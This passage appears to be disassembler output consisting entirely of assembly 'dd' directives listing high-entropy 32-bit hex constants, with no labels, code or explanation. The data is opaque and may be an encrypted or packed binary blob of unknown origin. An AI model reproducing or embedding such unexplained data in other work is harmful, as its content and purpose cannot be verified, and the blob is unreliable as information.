		dd 0E95D5E10h, 0D2569C85h, 2CE04604h, 464E3B8Ah, 67DE5237h
		dd 5A17E707h, 0F7601DEAh, 4E025B7Eh, 5F54F00Dh,	45D4095Ah
		dd 7D15E2FAh, 414A4230h, 3F762CC5h, 0F5A8327Fh,	0E90880CAh
		dd 0F6849A11h, 5C3F02CEh, 0DEF73C9Eh, 242340F5h, 83142FBCh
		dd 4518067Ch, 2D8B4E3Ch, 11FEEB57h, 7414285h, 0F16D0ABBh
		dd 65D1207h, 9AE9D1ACh,	466C877Dh, 17ECA406h, 0BE90FA3Dh
		dd 5FD625C2h, 0C5B5D2D0h, 0FE1A4C90h, 0D7CD1A17h, 0FC589FBCh
		dd 931AD5Ah, 7E3B27E9h,	63ED505Ah, 56962DB1h, 59D361D7h
		dd 0F7311295h, 275EEADCh, 30DC40EDh, 97E7EEF8h,	0E2F6CECAh
		dd 0C5D3502h, 0CFF27741h, 25B0853Eh, 2DFB76ECh,	0EBEE9B24h
		dd 0A10155A0h, 0FC2B9ED6h, 0E51C27A3h, 20D8A7C7h, 31A36A1Bh
		dd 3CBD90E8h, 0CD61B701h, 11F23B56h, 6A9DC3CDh,	2F7C22B6h
		dd 9827187Fh, 5033258h,	8C5AB586h, 0B00EE82h, 10DFE95Fh
		dd 2C1FFB9Dh, 626A006Fh, 0F681342Ah, 0E90D6E62h, 20275EBBh
		dd 0AF20E87h, 0B07B7101h, 64E91BB8h, 64DF0E4h, 0A7EF3C40h
		dd 962EC243h, 0C8C0C8CAh, 5792AD1Dh, 0FF1BD3B1h, 66D1F60Ah
		dd 72C90DDCh, 7F5F3563h, 28A953E8h, 0D81F9224h,	0D12117E2h
		dd 0A038FBFEh, 13392968h, 0AE8A7D1h, 0DE3150E9h, 46D9ADFEh
		dd 2E3031D9h, 0CF4C822Bh, 7AED7095h, 2568E80Bh,	0FD43B3Dh
		dd 2826B862h, 0BBD81662h, 3DE67018h, 71BD80CFh,	7AA0723Ch
		dd 2304E59h, 3F7D44B9h,	66F17632h, 0E917A549h, 0EEA30B8Ah
		dd 7B852192h, 44579DEh,	67589569h, 57B90B1h, 82088BD3h
		dd 0ADF16DEAh, 125D5E1Eh, 56F672Ch, 93AC6748h, 0B34CE094h
		dd 0AD7E1200h, 3FE94145h, 33B3F24Ah, 220751D4h,	0C356C206h
		dd 802E08E2h, 0E802EC0Eh, 5FA8789Ah, 2FFA50C0h,	98DDF780h
		dd 26AD0B6Bh, 48F827EBh, 0B2A4595Ah, 0EA4D5BC8h, 43683772h
		dd 0F6FF84E8h, 0DB8B3B50h, 68A0F8EDh, 0D9A66A34h, 920CFB0h
		dd 2B2D0496h, 0AF704B25h, 7561B717h, 366DB087h,	893A1712h
		dd 9A983BE7h, 0D886D25Ch, 0FEA1500Bh, 44BA0456h, 0AD7E72CAh
		dd 2508411Dh, 0E4A36A9Ah, 0E91FA0D3h, 4B8BD730h, 584EAFCDh
		dd 46223EEBh, 23DE0F7h,	0C7CFC30h, 25BF0FE4h, 36C22923h
		dd 0E9570800h, 34DFACB7h, 3108D596h, 0D8010E89h, 86583044h
		dd 0BD0C57FDh, 0CA3F11B0h, 608D410Dh, 421EFA0Dh, 0EFC96318h
		dd 4B91F6D3h, 516E3002h, 79BD8646h, 0EA96E29h, 0B0B21A20h
		dd 0C573CA80h, 0FE25EA03h, 0ABB151C2h, 9774DE30h, 3CFB52A8h
		dd 88CF2E12h, 229D5C92h, 0C4182B9Eh, 3D057200h,	0C927873h
		dd 0A02FBCA4h, 0E33E08EAh, 3C28E60h, 58C803D1h,	1C40FA01h
		dd 0FC5DE908h, 655B27B2h, 863789D6h, 205B8619h,	0DE9F8E29h
		dd 50F28160h, 30321B05h, 21105AC2h, 3D1F6EBAh, 676B925h
		dd 0B7545DE6h, 0A9160C76h, 0DC533765h, 8A143B00h, 2DE99AAEh
		dd 522084BAh, 4943224Fh, 9F3813Eh, 739728h, 0E7E695FDh
		dd 28109E2Eh, 51B640E7h, 0CFE44498h, 284E61F4h,	52001BE7h
		dd 73E86855h, 29461DAh,	258C1A02h, 60EE49Eh, 51484666h
		dd 783D85Ah, 0FFB36610h, 4C80770h, 23682C0Bh, 0B4A1594Dh
		dd 1FB63A3Ah, 0A3129890h, 8772EACAh, 64B54052h,	3FDB090Dh
		dd 9D0F4F5Fh, 51852142h, 0BFA7275h, 24580B6h, 9D0B84h
		dd 4F21D6BDh, 8245E71Ah, 0C4DD7B01h, 0DC3B84B8h, 0FB4929B2h
		dd 55A692D5h, 1175F15Fh, 79C730E6h, 0A6B46325h,	126F0A57h
		dd 3E46B62h, 0FC0834F5h, 499C3825h, 61F8EEAAh, 0FB435EEAh
		dd 9087810h, 0E63CFD68h, 73D0CBDh, 86DA2F47h, 7BE10817h
		dd 42685EABh, 3724426Dh, 631526C0h, 0E42A5C81h,	0B40CF3BBh
		dd 0A08839DCh, 2099BE34h, 0C56C5ECFh, 50A9DE89h, 0B7B9E5C8h
		dd 5190A165h, 2F365DBAh, 20FF031Bh, 2D1FD2BFh, 0BF5725F0h
		dd 29138672h, 0BCF85FFEh, 17E06A10h, 6971FD89h,	56007F1Fh
		dd 0A33A6866h, 0C1235E2Bh, 0E850DB02h, 0FA4C25B8h, 0E9C60B29h
		dd 5B5B58AAh, 0A647E9E1h, 0FFBB2697h, 7FAE594h,	697B6832h
		dd 0D4BD56C6h, 1CB424E3h, 3ACB008Ch, 2665C981h,	0F06B7224h
		dd 0CBFF383Eh, 110A2CBAh, 0BDA8014Fh, 40CB6883h, 41DE1B2Dh
		dd 0C52E48ADh, 2EDA02C6h, 8CC00951h, 4B1D36CBh,	0E3811572h
		dd 1F625D86h, 20348682h, 2B787F47h, 3D9E9A0h, 0AD39A52Ch
		dd 0FE688F01h, 0D9310943h, 0FD3E5AE1h, 0A8D29E48h, 51BF3D40h
		dd 97264D1Bh, 0E5B3B40Fh, 1C19D801h, 0FB1FFB26h, 8E381213h
		dd 98E6FACCh, 0C0F14E80h, 1CA9B801h, 8917950Bh,	24DAC5C7h
		dd 1B940370h, 0CEE138EAh, 39DEC46Bh, 75098190h,	1ED132h
		dd 0FB88F77Fh, 4A2975ABh, 0D031E05Eh, 0E1872B6Fh, 65E81C10h
		dd 133FAC2Fh, 74FB0FD9h, 7A88BDF3h, 6CC83D2Eh, 43813F0Ch
		dd 18C604EAh, 0A35E40FDh, 0F8E90938h, 8BE4F974h, 75BAE50Dh
		dd 8944D97Fh, 0B2299C88h, 0B5C85754h, 756A9842h, 73C5DF98h
		dd 6846FE06h, 0F9454BE4h, 0A7DB776Fh, 0AD1C1AA4h, 8F500F7Dh
		dd 60AE12CBh, 0CA4C486Dh, 84F372Dh, 6D13E381h, 8AC4AAFCh
		dd 1673E3A8h, 8EB3105Eh, 0F01A010h, 4936E6BFh, 41C0446h
		dd 0CB8AB2AAh, 20E075B9h, 8B814C29h, 0BAD3DF63h, 5DEE2561h
		dd 0F35A2D3Dh, 6E573257h, 97ADFB74h, 6804CC29h,	5975BA25h
		dd 0E90F6CE6h, 0A2340F25h, 0F521402Ch, 85B8549Eh, 0E11C4430h
		dd 386614EAh, 0F2B4010Ah, 84085FB4h, 0BB0379E9h, 40BF0698h
		dd 0EC1CBD39h, 89922A3Ah, 1D2FA4AFh, 0A5FED03Fh, 6CFB565Bh
		dd 564A59F3h, 63D4A5E0h, 0EB3126DAh, 9FE78FB9h,	3A4BAC52h
		dd 3D7DDA40h, 42276F7Eh, 5AD13321h, 0F0C92049h,	0E7BFFE61h
		dd 29DCD9DDh, 0B52CB8D3h, 0C855EE89h, 0F9015D5Ah, 9F98F0F4h
		dd 9162BB53h, 2C580118h, 0C1CAFDAAh, 0FFA7DBF8h, 5172E90Fh
		dd 9728B8B2h, 0FC991BDCh, 0B00555FEh, 330A3801h, 4D4001BEh
		dd 9F20CB73h, 5F82926Eh, 0F657E95Bh, 805C03B0h,	6403FEBh
		dd 339C819Ch, 32AB7725h, 6884AEF9h, 61AE22CEh, 0A2D402F9h
		dd 8620CC7Fh, 1BBB051Eh, 9358A406h, 81C4B7Ch, 0A6C4302h
		dd 96AE3C02h, 4D89FD09h, 9A04D2D0h, 5E1E1771h, 4BE38B88h
		dd 873E4474h, 48C3BCEBh, 26631ECCh, 534C1098h, 0C44277Ah
		dd 89046562h, 0E7B7AA60h, 0FA6E4516h, 0E6A52267h, 0BC72AA4h
		dd 2DE449FAh, 1611A506h, 42F65B77h, 0A8586232h,	0FA078A05h
		dd 9B6E0938h, 25406C6Ah, 457CB654h, 0C9A9E153h,	0B7FB9445h
		dd 2A8755A0h, 10E68BBh,	0F4B14462h, 0E5BCFCDEh,	67B0BE2Dh
		dd 2ACA32E9h, 33D6EDD1h, 8125A5BDh, 54535D45h, 4B76DA3Bh
		dd 947066EDh, 97EA81CFh, 6B23DE0Ch, 0A3C238E0h,	0EE0C5F08h
		dd 0FF0C8F1Ah, 592F9B70h, 0AD7A7C29h, 19103854h, 22E0E909h
		dd 68416C59h, 56794AB9h, 900CE984h, 77F2816Ah, 0BEB6AF13h
		dd 15B146AFh, 2D061CCAh, 19F64F07h, 1A3102A8h, 0A1682CD3h
		dd 74C0C67Eh, 0BF61714Ch, 0F62424D8h, 7CAF7DFAh, 0C606446Fh
		dd 124F531h, 6A0107CFh,	5942DC1Ah, 97CED5F8h, 3D48FCB0h
		dd 61902483h, 26B9812Ch, 312FC24Dh, 70A32042h, 56B57C25h
		dd 5B510290h, 60425F02h
		dd 36C311C0h, 17A15448h, 0C4B48FA9h, 0F6F14020h, 859CBCCBh
		dd 8AAE19C0h, 1D6B140Eh, 4BD083D1h, 0CC3E3B83h,	0A9BFBEC0h
		dd 0C068D5FBh, 0C24A0158h, 3B049DCBh, 0B8632350h, 86B048BBh
		dd 124CF9ACh, 0EFF0C380h, 0E982A38Ah, 995F0FFDh, 6808C604h
		dd 6E086724h, 31A00CFh,	4C1B2559h, 4838B543h, 0AD63E4CFh
		dd 0DF4AB169h, 38D52502h, 4662BDDEh, 49B90021h,	64258843h
		dd 40947729h, 7E17EAB5h, 0BEE9868Bh, 0D3F5D6F5h, 5047BCB9h
		dd 150825DDh, 0C1817A0Eh, 5602929Eh, 0D764B0E9h, 9A13AED1h
		dd 0C45D8F4Fh, 0DDEEF89Fh, 9EE76FBDh, 2CEBA1CBh, 13AB104Ah
		dd 8F450565h, 5CA4EA80h, 4FB30BC3h, 8655A3D6h, 1A9EB93h
		dd 943EE7BDh, 61D5F74Eh, 4FF9EF1Ah, 0C1BA04DBh,	69332F1Eh
		dd 18E3042Fh, 0A2AE2541h, 0DDE909E2h, 45C6DDEBh, 355921E7h
		dd 0AB1CDC00h, 9FAA2AFEh, 0E302FB72h, 5561BF37h, 8314D55Eh
		dd 4E4607C0h, 0AC703568h, 6CB400F5h, 0E0D15014h, 85B0C083h
		dd 0D713F94Bh, 68B0F4ECh, 0ADC47FC2h, 8001DFFBh, 0F728C7EAh
		dd 2B03B6D1h, 40A0868Ch, 2213BDA4h, 41071E68h, 0FD335DEFh
		dd 6DD2065Fh, 0C179610h, 5531513h, 3A4F304h, 253E1E13h
		dd 0B2160F5Fh, 42084AFh, 166247CCh, 0EF125EFCh,	0F4D7AB0Fh
		dd 27881368h, 0B0E3240Ah, 21B856E5h, 686600EDh,	37265CC8h
		dd 8474752Fh, 5D6A7742h, 8520BA20h, 97F6A708h, 0DCBD31A1h
		dd 0FF9C652Ah, 366B3204h, 4F3ADFFCh, 271739Fh, 9C2BD3F5h
		dd 16699940h, 25E14695h, 3A574131h, 347B756Fh, 644550A6h
		dd 5F7647BDh, 4245AFFCh, 0DBFF10C0h, 11E90980h,	0FDFB1A92h
		dd 0C0DF553Ah, 88204D36h, 84CE6C1h, 279F5961h, 0C9E55C59h
		dd 5D0D10Bh, 40D5719Dh,	0E721E305h, 515FF895h, 993F072Dh
		dd 0A1416C08h, 0AA2C8868h, 0CE20DD48h, 1E5A4776h, 2136C14h
		dd 0DF7DF9F5h, 0EBA5617Fh, 0B900E36Ch, 21C33646h, 0E1078149h
		dd 5708074Bh, 5CB1F160h, 31162E6Bh, 3BDD253Bh, 1878C0BDh
		dd 202598F4h, 0BD4A0D8Dh, 890EC1BBh, 77CF30EEh,	34CB6282h
		dd 0C4C0C5B1h, 0E58FAF31h, 0F123E84Fh, 0CA31D901h, 0E36F0A31h
		dd 0CAFA9284h, 0F5E5107Eh, 0CF29660Eh, 92DD596Bh, 0BF07DF43h
		dd 0D4C8EB02h, 748623EDh, 5969F9E9h, 0E076FB09h, 9ADB9682h
		dd 0BD00A466h, 724D233Fh, 0E0AEB951h, 0A9195CCCh, 1E588E0Fh
		dd 4673316Bh, 80E7E2Fh,	550B67C2h, 8196DD5Ah, 0B025CE20h
		dd 535B0B1Ah, 88563E20h, 887DF925h, 482CAE93h, 91AC419h
		dd 0D4C0F02Fh, 35BB331Fh, 55644C49h, 0D962D1B2h, 3C23587Dh
		dd 2E26362Dh, 1C640964h, 1CA3C844h, 0CDB740BDh,	541A227Bh
		dd 8597EDF6h, 91AD5F6Dh, 10DB5505h, 8488ECE8h, 11A08AE9h
		dd 48A23AB8h, 9E686306h, 519D0A4Ch, 0DD0269C9h,	0D5489F32h
		dd 0BB9C3487h, 0D3B055CBh, 0B1800592h, 50F65C98h, 0ACCB71Fh
		dd 0A8AB013Fh, 75570B1Eh, 3F7C16F9h, 616BF387h,	4F802774h
		dd 61171422h, 685E180Fh, 0C1A43070h, 57B8CE6Ah,	0D26DF74Bh
		dd 84E9A131h, 0E369EC35h, 46DCBD4Bh, 2C475EFBh,	0FD091B49h
		dd 42F8594Ch, 91CB6B5Dh, 0AFA25E92h, 9560E984h,	0E267BE4Bh
		dd 0F51B19C7h, 1BBF381Ch, 0ECFA02E9h, 117D20Ah,	40EBD0C1h
		dd 0DD1BE908h, 1BEFED6h, 0BB212A85h, 5ECF006Ah,	0C4E60C2h
		dd 1E3C28D6h, 310BEFF8h, 703A4557h, 0F2013008h,	1599E999h
		dd 5A057D99h, 0B009E30Dh, 681EA0C7h, 3D8330C5h,	6792592Fh
		dd 0D6418862h, 43384C4h, 6EA261BFh, 0DB406C3h, 6F925FEEh
		dd 9944896Fh, 2D73F9C2h, 3579FD96h, 0B15140C1h,	34A68060h
		dd 8AC01FC6h, 87E29422h, 80F505D0h, 308161D1h, 872C3178h
		dd 310E016h, 8BC1881Ch,	4CF859CFh, 52D5F61Eh, 0F053EEDFh
		dd 30332DBEh, 0FBBF3086h, 8811A195h, 0B803321Bh, 0B9BE6918h
		dd 0B87142Dh, 3BE9C601h, 0EA3176A3h, 551EDFB9h,	90E8019Ah
		dd 3B4F6E49h, 0EA032FF2h, 4AA3727Dh, 86E91409h,	189E82Ah
		dd 76A52C35h, 145F01CDh, 7809593Ch, 0F6E27DEh, 500F1782h
		dd 6EEC92C9h, 0A41011A2h, 0BED782C2h, 93A4FD4h,	32DF014Fh
		dd 95C25E49h, 0F626DF29h, 0FA0116CBh, 89A8F7D5h, 0E9DEF6A0h
		dd 0D5782D2Ch, 5A51556Ch, 0A97EAC54h, 0BAEB93Fh, 0D2F8D9E9h
		dd 2ED373C3h, 17B243E5h, 9FA3E3EBh, 3A6809BBh, 523DD419h
		dd 5B5C7ADDh, 0BED8C446h, 35C114E2h, 0C8053947h, 9C2DE951h
		dd 51FB5EC1h, 24013A48h, 0A685251h, 0A4E89F4h, 4AEAD15Ah
		dd 5CB60FEFh, 0A5F5ECC9h, 0CFEC7C1Ah, 0C55C052Fh, 9C9F4A5h
		dd 6EFF902Fh, 9D491CFh,	0B7DBEA30h, 77532D0Bh, 66568B31h
		dd 0D69F7CC5h, 3EC82F0Bh, 0E295B5E9h, 0BFB6FBEh, 0E2962245h
		dd 0C5BE918h, 2DDBD18h,	0C13EAB54h, 137F06EDh, 0DC198122h
		dd 6ABE807Fh, 2120A180h, 0E9B5C229h, 0F7940CF8h, 770A4297h
		dd 6C885CF9h, 0C9581F48h, 20256145h, 4F5EAEEEh,	5BC5E4D7h
		dd 31002AB8h, 0BE22EA25h, 9F5C2C0Eh, 0CA816B4h,	0C25A22FEh
		dd 2D7344F5h, 7959609Fh, 45506885h, 5FDE60F8h, 0AE5F78B9h
		dd 71BD4E3Ch, 901EFC54h, 792974EBh, 179ECDh, 0CF06170Dh
		dd 0E83CD12Fh, 0AC2C8A35h, 8DA4660Ch, 6484DD2Dh, 9074E25Fh
		dd 7B9510D6h, 0C0C61575h, 0C81087FEh, 7E680EF1h, 0E2AA1231h
		dd 0E956C288h, 0AED7702Ch, 0BC54F8B4h, 47B800EAh, 5437A34h
		dd 0E00E950Ch, 31D2CC20h, 0F2AE872Eh, 0E7882ACEh, 6DED5CB7h
		dd 0A300156Bh, 2DDEE79h, 3BFA017Ah, 0D6C9E658h,	0B3E12D0Ah
		dd 0EAC1CA84h, 0E0BE80FBh, 5F5F2ADBh, 177319B8h, 0E17BE9D6h
		dd 0D4697B5Ch, 0AFB82497h, 81D63B8Ah, 0CDC00D2Fh, 383A9002h
		dd 19D4B431h, 0DD603476h, 70F5801Eh, 6B6D2CB9h,	6A28C142h
		dd 0B937C3DEh, 0D74007E3h, 0AD727E7h, 0B194E929h, 0A8C80817h
		dd 3B038116h, 0A1FD328h, 6E118F0Ch, 346582BDh, 175A39Eh
		dd 4A4C68F5h, 5204DC23h, 0EF6FDEE9h, 4A0C4BCCh,	7C79CA03h
		dd 6F326932h, 88705FC2h, 685F6BF6h, 0B5F569A9h,	5BD866A6h
		dd 97144CF9h, 0B90BDCBFh, 4C406EA1h, 0F1B50C80h, 1A509392h
		dd 0F364F975h, 2D05E459h, 308BEC5Dh, 0EAA74DFDh, 0CC3D1EE1h
		dd 214AFCBDh, 6149CEEAh, 0ED5FE9E3h, 0E2A57425h, 0E1306377h
		dd 0B92B4EC0h, 2D030145h, 9BC5FCD4h, 89DF28ADh,	2A078486h
		dd 6879CCBFh, 59BE334Ah, 6D64C42Ch, 82ED3832h, 15AC421h
		dd 257C42F5h, 0DFC2D508h, 0E4F40B02h, 0B4EC3C3h, 0FEF4A0E7h
		dd 0C519BB77h, 0EC10BFA9h, 84415DBEh, 314D851h,	0CF4B3A32h
		dd 9F83C0A8h, 34AB8B51h, 44B5BD1h, 5D0E69Eh, 0EC32C580h
		dd 0C0767EDh, 5E5C38Ah,	0E98991E7h, 0BD096B0Fh,	5D09FF29h
		dd 5F92D057h, 10B5BC56h, 1147FD6h, 0AE55F9F9h, 0A768BC2Ah
		dd 3B021AF3h, 4998F22Dh, 5FF85B3Ah, 0D577C29Fh,	72D9B789h
		dd 44B85060h, 314E0019h, 3504E8C1h, 0E304AA94h,	1D886836h
		dd 2D5AB2CCh, 53095258h, 0E9024055h, 0D7594FDDh, 181D72E1h
		dd 0DED29877h, 414A276Ah, 52400D22h, 1213985Fh,	8059805Ch
		dd 28B1F217h, 2CC7DDB2h, 8ED8D7B4h, 8B45859Eh, 52E2AE1Ch
		dd 9C2CFEE5h, 9FDA9F68h, 0D04F7CBFh, 80B532E9h,	3EA8BB29h
		dd 4260B5B3h, 8705737h,	0E92D3E9Ah, 0A6FAD0FAh,	0BDBE212Eh
		dd 638E27BCh, 3CA7D81Fh, 0CA7A589Dh, 1A08FE9Ch,	7E07472Bh
		dd 0DD391E15h, 0AF05BC84h, 0E91C32ACh, 0CA52B5C2h, 6B634A78h
		dd 554DC268h, 58010D18h
		dd 0DA77A89Ah, 0F8239B3Bh, 0D12E8BBFh, 52BC8830h, 8120C328h
		dd 0E8E09D2Ah, 199F10E7h, 377DA831h, 0A1F21165h, 0D0A07F32h
		dd 0C7803F19h, 0D5E73B73h, 0E92FEF02h, 5A569866h, 5079F173h
		dd 44B5396Fh, 1612BF28h, 2CEC98BFh, 0E5372858h,	49204286h
		dd 0EC5FFF90h, 0FA70C97Ch, 0A3E75E1Fh, 5389D7BAh, 0D703E73Bh
		dd 1834CEBFh, 309A4476h, 7A5970EEh, 0B04AC6h, 6054BEFEh
		dd 63F42C55h, 5A09DFB6h, 0A00B7D5Eh, 1F08C153h,	0BB091305h
		dd 9DEB4DC0h, 721258AEh, 0E8175D39h, 4BC22D3h, 8249EF10h
		dd 20E9EE55h, 59958E0Ch, 304228C3h, 17E4D05h, 8A02CD81h
		dd 0E942F460h, 1D055687h, 0A64C8954h, 0AD62E7D7h, 76B1D2E0h
		dd 59CB8800h, 0C2804EB2h, 88169467h, 0D10BFBADh, 20C5D7E2h
		dd 5D62420Bh, 0BF7B1Eh,	0F2E0713h, 0A65D606Eh, 308C5832h
		dd 28DC1D0h, 8E21B6C3h,	0A84F6B55h, 9251F935h, 7E07828Eh
		dd 718039A4h, 0BF570677h, 824C28A8h, 0C7A900AFh, 0F831600Ah
		dd 0FE6C31E9h, 0E477BDFEh, 0A5947043h, 7230E8A4h, 3FFC7DF3h
		dd 0A1A5E963h, 0CD40C2D6h, 9D1A7613h, 407B288h,	0FBB1E95Eh
		dd 36844AD4h, 278EBC80h, 27EF90CDh, 977AA377h, 5C8B9659h
		dd 0DEBED277h, 69015F88h, 25614ED7h, 0E29FF02Ah, 17B62B40h
		dd 4F58885h, 0EF063187h, 267BEDB6h, 9D9F12EDh, 6218C6F1h
		dd 540B0C22h, 0D058AC01h, 0CD03B7A1h, 0C73DEAADh, 4152A7E1h
		dd 782B5EAFh, 584DC654h, 0CE2981B0h, 0BB7D33E9h, 0E42D724Ch
		dd 0ED053AFAh, 47F17E2Ch, 84053BDh, 35A72AE9h, 9CF306B7h
		dd 5A4CED42h, 367F6D0Bh, 75A34062h, 0C4536F04h,	805C9042h
		dd 2D16A2D4h, 0BEB452AEh, 7E40CC0Bh, 42D7525Ch,	2C6658A3h
		dd 0E2C5FEh, 0BDB45002h, 5328D4F6h, 0C33094B3h,	5FB52491h
		dd 0A6EA5B30h, 485331B9h, 0D87A43F1h, 0D77C892Dh, 18ACD14Bh
		dd 786859C1h, 5879230Bh, 37A40532h, 0F2FF4A20h,	5EC1C016h
		dd 49B5DFC8h, 0FF4A3D51h, 575DE101h, 1F6B13E9h,	595EC1C9h
		dd 6F148B56h, 9A391799h, 13EB8785h, 0E5D7E9BFh,	40E89388h
		dd 0F70581CAh, 3A1E07DEh, 0EAAEA0FFh, 2CA36F0Ch, 417388ECh
		dd 92F53D4Eh, 0B4B4A2AAh, 1758DE8Ch, 0E40F56E9h, 7B00E593h
		dd 6BBD65CDh, 17456E20h, 125FFD31h, 0BF2685FBh,	7BFA1CE0h
		dd 922E5B5Bh, 28D5EA10h, 0B6AC838Fh, 2D0F5F08h,	9E0C8152h
		dd 0CE165D08h, 0FF07A2EFh, 3165A48Bh, 0FAD9290Bh, 0CC7B2747h
		dd 8D20DF46h, 5E68125Bh, 104FA379h, 402EDEA1h, 1B523BD9h
		dd 719CF10h, 5227BD66h,	7A054546h, 0D6639D55h, 0E40187F5h
		dd 300C12AAh, 3FBB6DF1h, 4E001BFDh, 204885BAh, 52BD296Fh
		dd 2831B4BFh, 72EA0094h, 0E9151D6Ch, 10950B6Dh,	95572913h
		dd 0F32F275Ch, 8A0E8E7h, 2D1FD5B9h, 11CB4680h, 0A105F801h
		dd 4CE5E907h, 0CE28228Bh, 0D104AC82h, 607B7220h, 13E89041h
		dd 0AC74DEh, 6BD0EB26h,	0E92F7077h, 0C2BD484Bh,	5CA2E7Ah
		dd 0A04312BAh, 4004BEABh, 2949A636h, 0EDF2E4EFh, 1CC5541Eh
		dd 938AE9CFh, 5F6EA5F4h, 2F87F4F9h, 503C1309h, 83C140F7h
		dd 128E3642h, 74C07CD2h, 21685A59h, 0F39A9F09h,	2FB9787Fh
		dd 0B57BD55h, 802F7620h, 7A327E30h, 71956C29h, 180CA045h
		dd 5CBE3EE9h, 2F0CAEB8h, 3D29180Eh, 4029B758h, 0A0F6908h
		dd 82CFF0E9h, 0C0B70F5Eh, 0BBEC5063h, 1F64C988h, 9028966h
		dd 7F2BCEE3h, 888ED2F1h, 0E9D342C2h, 2DEBF0DDh,	3CA2305Ch
		dd 0B700B868h, 91F9280Eh, 0CB970866h, 0C8F68100h, 0F6384045h
		dd 0E27C5ECAh, 0A4DD8F8Eh, 95F9E230h, 64ACC4h, 0E15EFD35h
		dd 5499F40Ah, 0E0BCFE85h, 0ED2D5E11h, 2221DF7h,	0AEE90B02h
		dd 0FD92A0C7h, 0B56EF953h, 681776F8h, 0C8887C7Ah, 55A015Fh
		dd 6AD265E4h, 0A9806A29h, 987F4ABFh, 25D5E1Ah, 4D166874h
		dd 0E9F07C56h, 0EA0F920Dh, 0AB763DEh, 0F1D8CFBAh, 8F246865h
		dd 0D6C7037Dh, 414F38A2h, 67D8DF1Eh, 0BCE92A09h, 0ED798B1h
		dd 0B7139D6h, 3EE0E7C1h, 0DBE9F812h, 0FC2E454h,	68C8BE04h
		dd 0E3AE0979h, 0CDF46C7h, 5595A3E9h, 486C0BEAh,	1FD8FA02h
		dd 0B4E3169Fh, 0B8D24508h, 8EAC4F7Dh, 0F12680F4h, 6C4B9268h
		dd 0A3018664h, 5AD33974h, 817A0D61h, 4186771h, 90162E84h
		dd 0F55DD8FFh, 24B288FAh, 20FB4B4Eh, 7B59C30Bh,	0D19817F6h
		dd 0DDDC49h, 78291AA9h,	2514E681h, 4CD87C5Dh, 0A7E4B00Bh
		dd 8525CB6h, 98357EECh,	0A5580ECAh, 22576800h, 5658651Ah
		dd 43408B98h, 50C89709h, 0D001F706h, 0A5224A25h, 0F7E62D76h
		dd 16DE25E2h, 0E185E905h, 0F80C3FC8h, 0B81F4BA4h, 0E68C13ECh
		dd 0AEF0D5FBh, 0E412A304h, 0C2D9F41Ah, 0C3685682h, 0BFC05938h
		dd 46BDCCA0h, 0C0F3F8F4h, 1F62BB40h, 80901594h,	2D14983Bh
		dd 0AC0580Dh, 40676465h, 2EDF039Fh, 26014DBDh, 87B2B978h
		dd 56FDD89h, 0AF604958h, 0FB955331h, 0D5EB8000h, 83BE3E6h
		dd 81073CC0h, 0DE8829F3h, 7B7CBFE9h, 0E07B83Dh,	8C2D491Ah
		dd 0FA0F3503h, 41604D3Eh, 0DA262BFh, 2D8B8EE8h,	0C4F45F44h
		dd 77AFF80Bh, 0AD904B94h, 883CDE97h, 0C106DF33h, 4D0605EFh
		dd 0C705B807h, 5B20E86h, 0FBAF8FA7h, 2C02374h, 1DD168D2h
		dd 56D30129h, 0CA3EAC9Dh, 0CB930FB9h, 0C383D402h, 0C1797D02h
		dd 5D2D66C0h, 3408C76Fh, 0D029835Ch, 0BFEB57DBh, 7C5B134Ch
		dd 2369195h, 368B05F9h,	2324F7E9h, 4581EB29h, 50095A0h
		dd 0F014E0Dh, 476F2D1Ah, 7F650EE0h, 11CA0707h, 0CB55D620h
		dd 6BE16189h, 7D5EEC92h, 43B2A84Ch, 701B4C04h, 0E5EA296Ch
		dd 0E90A03BAh, 491F49F3h, 194AF7C6h, 404BE20h, 98C23A16h
		dd 0D6D581FEh, 0B46EE81h, 0F717820Ch, 89034282h, 3CDB7541h
		dd 8066467h, 2C8020Ah, 0CA797AF9h, 78C622FDh, 0C9A20DB2h
		dd 21B6D1F6h, 1DAD7E3Ch, 98FCB2E4h, 9774E931h, 425E78E2h
		dd 162AF4D1h, 0ECE50579h, 368AEBAAh, 0AD4D7826h, 2C612F6Ch
		dd 522E971h, 97FED755h,	8549AE91h, 2AAD6248h, 0C51CD30h
		dd 480E4B40h, 5C045257h, 0AD5B501Ah, 5EF10ECAh,	81CBEC5Ah
		dd 0F61F3FE9h, 6B22AF5Eh, 0B4BB1011h, 93707CFDh, 4E585BBh
		dd 0AE17AC20h, 247ED4D9h, 0BD36C4BFh, 0E61B174Ch, 23A35920h
		dd 163F4A96h, 0C080C445h, 0C8E9509Eh, 0EB82B09Eh, 49C073F2h
		dd 0DF60D5A2h, 0AED09D64h, 0BF687920h, 522F07C4h, 0C1A45C5h
		dd 31164A5Dh, 7EEDD14Eh, 0DC8CC193h, 0DBD96AACh, 0EF02127Fh
		dd 0A44F6432h, 37C1B5CAh, 8205AEAFh, 84F632C3h,	88952814h
		dd 5D8A726h, 4E0B7498h,	801FF756h, 546416B2h, 0CF5F861h
		dd 282B6AA5h, 357E6B0Ch, 21E91309h, 8325D1FDh, 78822F7Ah
		dd 79C0F9EFh, 391777BBh, 7CFC4DEAh, 0B247B40Bh,	6C33E03h
		dd 0E9A96A90h, 0F3B99D24h, 0E018CB90h, 0CCB210CDh, 2DF2C2F8h
		dd 9D97F34Bh, 420A3EE1h, 4AA8E66Ah, 828665B2h, 0DEBFFDDDh
		dd 0E44663FFh, 8BE9B75Fh, 0F5037807h, 7628E2FBh, 0DF7F105Ah
		dd 6895782h, 0D60B2302h, 22C86605h, 2C4E465Fh, 0D92DBCE9h
		dd 0AFEAB53Bh, 0C12A43A1h, 2E35B090h, 30799EF3h, 0BDDEE2D0h
		dd 5C3143F5h, 9EEE8AEh,	6258C77Fh, 8A8B951h, 38FE2593h
		dd 791F250Bh, 0E9D295CEh, 0FE976759h, 3EA69DCDh, 0AA4A1643h
		dd 0E77EC28Bh, 0B51687Ch, 49E62E60h, 0D80E1C36h, 2B4F1204h
		dd 4C536065h, 0C3FC563Dh, 311D9451h, 0EEEC2EF0h, 3F21077Eh
		dd 2C77E906h, 233DCA79h
		dd 68578438h, 30EE0F87h, 0B17FFD0Ch, 8681AA4Ah,	0ED2ED721h
		dd 0E993D2B2h, 5D04F46Ch, 0AE06C509h, 0B4E99A60h, 97079AB2h
		dd 98205352h, 1621B464h, 95EDB250h, 7E5F892Dh, 488639F7h
		dd 948931F4h, 106EAFCh,	0D9F7CA87h, 0AB9FA008h,	0CE0B09B7h
		dd 98A7E1E9h, 234A40BEh, 0AE6BBD5Dh, 0E9807D0Bh, 0F418F05h
